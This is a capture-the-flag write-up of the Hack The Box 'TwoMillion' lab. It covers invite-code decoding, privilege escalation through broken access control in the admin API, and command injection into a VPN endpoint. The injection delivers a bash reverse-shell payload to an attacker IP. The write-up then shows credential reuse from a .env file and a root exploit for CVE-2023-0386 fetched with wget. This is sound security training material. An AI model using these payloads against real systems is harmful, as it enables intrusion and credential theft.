HTB-TwoMillion
Overview
2Million is an Easy-rated Linux machine on Hack The Box that pays homage to the platform's own early website design. The box walks you through reverse-engineering an invite code mechanism, abusing a broken API to escalate privileges within the web application, achieving Remote Code Execution via command injection, and finally rooting the box using a kernel-level OverlayFS vulnerability (CVE-2023-0386).
Enumeration
Nmap
nmap -Pn -sC 10.129.53.79
The scan reveals two open ports:
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP |
The HTTP title shows a redirect to http://2million.htb/, so the first step is adding the hostname to /etc/hosts:
echo "10.129.53.79 2million.htb" | sudo tee -a /etc/hosts

A quick curl -I against port 80 confirms a 302 redirect to http://2million.htb, so we add the hostname to /etc/hosts.

Foothold
The HTB Clone Website
Navigating to http://2million.htb reveals a faithful recreation of the original Hack The Box website — complete with the green-on-dark aesthetic, a login page, and a Join HTB flow that requires an invite code.




The join page greets you with:
"Feel free to hack your way in :)"
Reverse Engineering the Invite Code
Visiting http://2million.htb/js/inviteapi.min.js reveals obfuscated JavaScript. Pasting it into a JavaScript deobfuscator (e.g., deobfuscate.io) reveals the underlying logic.


Running the script in the browser's developer console and calling makeInviteCode() returns an object:
{
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhfrg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13",
"hint": "Data is encrypted ... We should probably check the encryption type in order to decrypt it..."
}

The data string is ROT13 encoded. Decoding it:
echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhfrg gb /ncv/i1/vaivgr/trarengr" \
| tr 'A-Za-z' 'N-ZA-Mn-za-m'
Result:
In order to generate the invite code, make a POST request to /api/v1/invite/generate

Generating the Invite Code
curl -X POST http://2million.htb/api/v1/invite/generate
Response:
{"0":200,"success":1,"data":{"code":"WEQ4TTYtSlo4RVotNFVTNVctWTdXUEM=","format":"encoded"}}
Decoding the Base64 value:
echo "WEQ4TTYtSlo4RVotNFVTNVctWTdXUEM=" | base64 -d
Result: XD8M6-JZ8EZ-4US5W-Y7WPC
Use this code to register and log in to the platform.


API Enumeration & Privilege Escalation (Web)
Discovering the API Route List
After logging in, a GET request to /api/v1 reveals a full route listing:
User routes (GET):
/api/v1— Route List/api/v1/invite/how/to/generate— Invite code instructions/api/v1/invite/generate— Generate invite code/api/v1/invite/verify— Verify invite code/api/v1/user/auth— Check if user is authenticated/api/v1/user/vpn/generate— Generate VPN config/api/v1/user/vpn/regenerate— Regenerate VPN config/api/v1/user/vpn/download— Download OVPN file
User routes (POST):
/api/v1/user/register— Register a new user/api/v1/user/login— Login with existing user
Admin routes (GET):
/api/v1/admin/auth— Check if user is admin
Admin routes (POST):
/api/v1/admin/vpn/generate— Generate VPN for specific user
Admin routes (PUT):
/api/v1/admin/settings/update— Update user settings

Escalating to Admin via Broken Access Control
The PUT /api/v1/admin/settings/update endpoint lacks proper authorization checks. Sending the following request promotes our user to admin:
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=<your_session>
{
"email": "adam@gmail.com",
"is_admin": 1
}
Response confirms success:
{
"id": 13,
"username": "adam",
"is_admin": 1
}

Remote Code Execution
Command Injection in VPN Generation
The POST /api/v1/admin/vpn/generate endpoint passes the username field directly to a shell command without sanitization, enabling command injection:
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=<your_session>
{
"username": "adam; bash -c 'bash -i >& /dev/tcp/10.10.14.91/4444 0>&1'"
}

With a netcat listener running (nc -lvnp 4444), this yields a reverse shell as www-data.
Credential Discovery
Navigating the web root reveals a .env file:
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

SSH as Admin
The database password is reused for the system account:
ssh admin@10.129.53.79
# Password: SuperDuperPass123
Login succeeds. The user flag is retrieved:
admin@2million:~$ cat user.txt

Privilege Escalation — CVE-2023-0386 (OverlayFS LPE)
Background
CVE-2023-0386 is a Linux kernel vulnerability in the OverlayFS subsystem affecting kernels before 6.2. It allows an unprivileged user to escalate to root by abusing how setuid files are copied between overlay filesystem layers.
The target runs Ubuntu 22.04.2 LTS (kernel 5.15.70), which is vulnerable.
Repo : https://github.com/puckiestyle/CVE-2023-0386.git
Exploit Transfer
On the attacker machine, package the exploit:
tar -cjvf CVE-2023-0386.tar.bz2 CVE-2023-0386
python3 -m http.server 8000

On the target:
admin@2million:/tmp$ wget 10.10.14.91:8000/CVE-2023-0386.tar.bz2
admin@2million:/tmp$ tar -xjvf CVE-2023-0386.tar.bz2
admin@2million:/tmp$ cd CVE-2023-0386
admin@2million:/tmp/CVE-2023-0386$ ./exp

Root Shell
The exploit runs successfully, escalating privileges to root:
root@2million:/tmp/CVE-2023-0386# cd
root@2million:~# ls
root.txt snap thank_you.json
root@2million:~# cat root.txt

Attack Chain
Port 22 (SSH) + Port 80 (HTTP → 2million.htb)
└─▶ /join → invite required
└─▶ /js/inviteapi.min.js (obfuscated JS)
└─▶ makeInviteCode() → ROT13 encoded hint
└─▶ POST /api/v1/invite/generate → Base64 code
└─▶ Register + Login
└─▶ GET /api/v1 → admin routes exposed
└─▶ PUT /api/v1/admin/settings/update → is_admin: 1
└─▶ POST /api/v1/admin/vpn/generate → command injection
└─▶ Reverse shell as www-data
└─▶ cat ~/html/.env → SuperDuperPass123
└─▶ SSH as admin (password reuse) → user.txt
└─▶ CVE-2023-0386 (OverlayFS LPE, kernel 5.15.70)
└─▶ root → root.txt
Summary
| Stage | Technique |
|---|---|
| Recon | Nmap, virtual host discovery |
| Initial Access | JS reverse engineering → ROT13 decode → invite code generation |
| Web Privesc | Broken access control on admin API endpoint |
| RCE | Command injection in VPN generation endpoint |
| Credential Reuse | .env file → SSH as admin |
| Root | CVE-2023-0386 OverlayFS kernel LPE |
Key Takeaways
- Client-side secrets are never safe. Obfuscated JavaScript can always be deobfuscated. Sensitive logic should live server-side.
- API authorization must be enforced on every endpoint. Simply hiding admin routes from the UI is not access control.
- Input sanitization is non-negotiable. Passing user input to shell commands without sanitization is a critical vulnerability regardless of context.
- Environment files should never be web-accessible.
.envfiles containing credentials belong outside the web root and in secrets management systems. - Patch your kernel. CVE-2023-0386 is a publicly known vulnerability with a readily available exploit. Keeping systems updated is a fundamental defense.
Return1. Home